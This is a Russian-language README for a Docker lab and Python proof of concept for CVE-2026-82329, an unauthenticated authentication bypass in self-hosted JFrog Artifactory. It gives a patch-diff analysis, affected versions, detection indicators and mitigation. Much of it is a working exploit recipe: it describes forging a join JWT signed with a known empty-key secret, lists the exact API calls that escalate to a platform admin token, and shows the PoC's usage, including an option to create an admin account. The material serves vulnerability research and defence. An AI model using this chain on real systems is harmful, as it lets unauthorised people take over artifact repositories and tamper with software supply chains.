Воспроизводимый Docker-лабораторный стенд и Python PoC для CVE-2026-82329 — неаутентифицированного обхода аутентификации в JFrog Artifactory, ведущего к захвату администратора, с анализом патч-диффа и рекомендациями по обнаружению.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · раскрыта 2026-08-28 · эксплуатируется в реальных атаках.
Неаутентифицированный атакующий, имеющий сетевой доступ, создаёт токен доступа администратора платформы против стандартной self-hosted установки JFrog Artifactory. Этот каталог содержит воспроизводимую Docker лабораторию и валидатор PoC с параметризацией URL.
Воспроизведено и проверено методом A/B на artifactory-oss 7.161.19 (уязвимая, JFrog Access 7.191.11)
против 7.161.20 (исправленная, JFrog Access 7.191.14).
Первопричина была выведена из самого патча вендора (дифф байткода закрытого сервиса JFrog Access между двумя образами контейнеров), а затем подтверждена вживую — не взята из сторонних публикаций.
getSigningKey("") = = — полностью
известный секрет. Таким образом, любой может подписать валидный join JWT (, , свежий ,
любой , ).pkcs7(<empty>, 32)0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — без аутентификации) →
HTTP 201, возвращает токен SERVICE с областью admin (audience = Access).POST /access/api/v1/tokens с этим токеном, scope=applied-permissions/admin&audience=*
→ полный административный токен доступа к платформе (это поведение «создания административных токенов», о котором
сообщалось в реальных атаках).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Шаг 1 /registry/join -> HTTP 201 создан токен SERVICE (scp=admin)
[+] Шаг 2 /access/api/v1/tokens -> HTTP 200 токен ADMIN (scp=applied-permissions/admin, aud=*)
[+] Шаг 3 доказательство административных возможностей:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 байт, только для админа; без аутентификации=401)
GET /access/api/v1/tokens (список ВСЕХ токенов) -> HTTP 200 (только для админа)
[=] УЯЗВИМО - неаутентифицированный атакующий получил ADMIN на этом экземпляре (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 изменил ровно 12 классов. Критичные с точки зрения безопасности:
JoinKeyAccess.tryResolveJoinKeys()// УЯЗВИМО (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" разрешено
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // пустой ключ добавлен в доверенный набор
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// ИСПРАВЛЕНО (7.191.14) -> пустые записи отфильтровываются
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
Если дополнительные join key не настроены (стандартная конфигурация), значение конфигурации равно "";
"".split(",") даёт [""], поэтому пустой JoinKeyHashPair (kid = SHA256("") =
e3b0c442…b855) попадает в доверенную карту «дополнительных join key». JoinKeyHashPair также был
ужесточён для отклонения null/пустых значений в конструкторе.
Подтверждено на живом стандартном экземпляре — лог запуска сервера:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
Этот kid — ровно SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7-дополнение ПУСТОГО ключа: padLength = 32 -> 32 байта, каждый == (byte)32 == 0x20
Таким образом, join JWT для пустого ключа подписывается с помощью HS256 на 32 байтах 0x20 — известных атакующему.
RegistryNoAuthResource (@Path("/v1/registry"), без @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // тело = сырой JWT
JwtToken token = this.joinService.join(jwtStr, ...); // проверяет: свежий iat (<30s) + подпись join key
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
Неистекающий, с областью admin, подписанный RSA токен доступа. Токен сервиса scope("admin") затем
может создать полный пользовательский токен applied-permissions/admin через POST /access/api/v1/tokens.
ProjectResourceДве конечные точки переведены с @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)
(GET/DELETE {projectKey}/resources), что подтверждает: примитив эксплуатации — подделанная SERVICE
идентичность, а поверхность, авторизованная через SERVICE, была чрезмерно открыта.
Только self-hosted (облако уже исправлено). Уязвимы версии ≤ последнего релиза в каждой ветке ниже; обновитесь до парной исправленной версии:
| Ветка | Уязвима ≤ | Исправлена |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
Исправление поставляется с JFrog Access 7.191.14.
См. lab/README.md. Кратко:
cd lab
ART_VER=7.161.19 docker compose up -d # уязвимая (стандартная); подождать ~3-4 мин
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> УЯЗВИМО
docker compose down
ART_VER=7.161.20 docker compose up -d # исправленный контроль
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> НЕ УЯЗВИМО (join HTTP 400)
Artifactory 7.161.x требует PostgreSQL (его сервис Access отказывается от встроенного Derby), поэтому в лабораторию включён sidecar-контейнер postgres.
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # изменение состояния Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # вывести административный токен
Направьте его на то, что обслуживает JFrog Router (доступен /access/…). Он сообщает УЯЗВИМО
(получен admin) или НЕ УЯЗВИМО (join отклонён). Запускайте только против систем, на тестирование которых
у вас есть разрешение.
POST /access/api/v1/registry/join с хостов вне кластера, особенно
сразу за которым следует POST /access/api/v1/tokens.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
означает, что пустой join key доверяется (присутствует на неисправленных стандартных установках).scope=applied-permissions/admin,
audience=*, или административные токены с субъектом-сервисом (sub=<svc>, scp=admin, aud=<access-id>).kid равен SHA256("") (e3b0c442…b855).Обновитесь до исправленной версии для вашей ветки (таблица выше). Дополнительно: разместите Artifactory за
обратным прокси, который не открывает /access/api/v1/registry/** для ненадёжных сетей, и после установки патча
смените join key + отзовите неожиданные административные токены.
Артефакты в этом каталоге: poc/ (валидатор), lab/ (Docker-лаборатория), analysis/ (диффы патчей +
декомпилированные доказательства), EVIDENCE.md (захваченный вывод запуска). Только для авторизованных
исследований безопасности.